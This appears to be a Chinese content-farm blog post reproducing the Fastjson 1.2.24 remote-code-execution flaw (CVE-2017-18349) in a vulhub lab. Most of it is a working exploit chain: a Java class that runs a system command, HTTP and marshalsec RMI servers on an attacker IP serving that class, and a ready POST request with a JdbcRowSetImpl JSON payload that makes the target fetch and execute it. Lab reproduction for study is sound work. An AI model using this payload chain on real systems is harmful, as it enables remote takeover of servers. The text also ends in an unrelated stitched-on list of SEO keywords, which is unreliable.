千家信息网

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章将为大家详细讲解有关怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一
千家信息网最后更新 2026年11月01日怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

这篇文章将为大家详细讲解有关怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

JSON,全称:JavaScript Object Notation,作为一个常见的轻量级的数据交换格式,应该在一个程序员的开发生涯中是常接触的。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

漏洞影响范围:fastjson<=1.2.24

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建,执行以下命令开启环境

cd /vulhub/fastjson/1.2.24-rce/

docker-compose up -d

执行完毕后访问8090端口,访问如下:

漏洞链接:http://192.168.101.152:8090/

攻击机IP:192.168.101.131

二、漏洞复现

首先将exp进行编译,将以下内容保存为TouchFile.java

import java.lang.Runtime;import java.lang.Process;public class TouchFile {  static {      try {          Runtime rt = Runtime.getRuntime();          String[] commands = {"ping", "test.3ztjrz.dnslog.cn"};          Process pc = rt.exec(commands);          pc.waitFor();      } catch (Exception e) {          // do nothing      }  }}

之后使用javac编译为class文件,最好是用低版本的java编译,高版本可能利用不了,这里使用的是1.8版本

编译完成后会得到一个TouchFile.class文件,然后在同目录下用python开启http服务,执行以下命令

python -m http.server 8000

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.101.131:8000/#TouchFile" 9999

之后使用burp发送特定poc数据包

POST / HTTP/1.1Host: 192.168.101.152:8090Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8{  "b":{      "@type":"com.sun.rowset.JdbcRowSetImpl",      "dataSourceName":"rmi://192.168.101.131:9999/TouchFile",      "autoCommit":true  }}

稍等一下可以可以看到访问152机子的请求

过一会儿就可以看到dnslog收到了请求

命令执行成功

关于怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 命令 内容 数据 版本 环境 编译 分析 文件 文章 更多 知识 端口 篇文章 服务 不错 有效 简洁 全称 同时 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海喔噻互联网科技有限公司 互联网是第几次科技革命的成果 科技和互联网公司 互联网通讯科技 成都互联网科技公司 互联网金融科技创新 未来的互联网科技 丰台科技园 互联网 奔汉互联网科技 科技互联网创业计划书 西藏七维空间互联网科技有限公司 互联网科技教育视频 来此购互联网科技有限公司 互联网软件和科技 互联网公司高科技产品 中国互联网有什么科技 富国互联网金融科技混合基金 银川新华互联网科技学校原画 互联网科技和医药行业 河南商务圈互联网科技有限公司 百单网互联网科技有限公司 互联网科技官网 世界互联网领先科技成果 阿里互联网科技公司 荆州市昕露互联网络科技有限公司 崇明区互联网教育科技售后服务 怎样加入科技互联网 广西科技产业互联网是什么 绵阳真晨互联网科技有限公司 上海旺乐尼互联网科技有限公司
0